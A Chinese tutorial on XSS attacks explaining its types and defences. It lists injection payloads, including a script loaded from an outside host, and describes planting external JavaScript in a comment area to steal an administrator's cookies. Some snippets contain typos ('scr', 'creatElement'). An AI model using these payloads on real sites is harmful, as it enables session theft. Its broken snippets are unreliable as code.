浅谈XSS攻击(Cross Site Scripting)
一、跨站脚本攻击过程
二、XSS攻击定义及危害
1 、XSS攻击的定义
跨站脚本攻击(Cross Site Scripting),为不和层叠 样式表(Cascading Style Sheets, CSS)的缩写混淆, 故将跨站脚本攻击缩写为XSS。 恶意攻击者往Web页面里插入恶意Script代码,当 用户浏览该页之时,嵌入其中Web里面的Script代 码会被执行,从而达到恶意攻击用户的特殊目的。
2、跨站脚本攻击过程XSS攻击的危害
2.1、这些危害包括但不局限于:
2.2、盗取管理员或普通用户cookie、session;
2.3、读取、篡改、添加、删除敏感数据;
2.4、网站挂马;
2.5、非法转账;
2.6、控制受害者机器向其它网站发起攻击;
三、XSS攻击常见分类
1、反射型XSS:只是简单地把用户输入的数据反射给浏览器,黑 客需要诱使用户点击链接。也叫作”非持久型XSS“(Non- persistent XSS)。
例子:
假设一个页面把用户输入的参数直接输出到页面上:
<?php $input = $_GET["param"]; echo "<div>".$input."</div>";
正常情况下,用户想param提交数据会展示到页面中,比如:
http://127.0.0.1/xss.php?param=This is a test!
会得到如下结果:
在查看页面源代码,可以看到:
<div>/testXSS</div>
但是如果提交一段HTML代码:
http://127.0.0.1/xss.php?param=<script>alert(/testXSS!/)</script>
会发现,alert(/testXSS!/)在当前页面执行了:
2、存储型XSS:把用户输入的数据”存储“在服务器端。这种 XSS具有很强的稳定性。比较常见的一个场景是,攻击者写下一 篇包含恶意Javascript代码的博客文章,文章发表后,所有访问 该博客文章的用户,都会在他们的浏览器中执行这段恶意的 Javascript代码。黑客把恶意的脚本保存在服务器端。存储型 XSS也叫持久性XSS。
3、DOM based XSS:从效果上来说也是一种反射型XSS。通 过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。
四、XSS攻击常见测试语句
<img src=1 alert(1)> (显示1) <script>alert("xss")</script> (显示xss) <script>alert(document.cookie)</script> (显示cookie) <script>window.location="(你的黑页地址)";</script> <img src="javascript:alert('XSS')"> <script>alert(document.cookie)</script> '><script>alert(document.cookie)</script> "+alert('XSS')+" <script src="http://xss.io/a.js"></script> <div onclick="alert('xss')"> <div onmouseenter="alert('xss')"> "onclick="alert(document.cookie)
五、XSS的利用
说了一大堆,大家以为 XSS就是弹窗,其实错了,弹窗只是测试XSS的存在性和使用性。
这时我们要插入JS代码了。
可以这样
<script scr="js_url"></script>
或者这样
<img src=x onerror=appendChild(creatElement('script')).src='js_url'>
各种姿势,各种插,只要能够运行我们的js就可以,js可以干很多事,可以获取cookies、控制用户的动作等。
比如我们在网站的留言区输入下面的代码:
<script scr="js_url"></script>
当管理员进入后台浏览留言的时候,就会触发,然后管理员的cookies和后台地址还有管理员浏览器版本等等都可以获取到。
六、XSS的防御
现在的XSS如此流行,原因何在。我想大家应该都知道,就是在输入的时候没有做严格的过滤,而在输出的时候,也没有进行检查,转义,替换等
所以防范的方法就是,不信任任何用户的任何输入,对每个用户的输入都做严格检查,过滤,在输出的时候,对某些特殊字符进行转义,替换等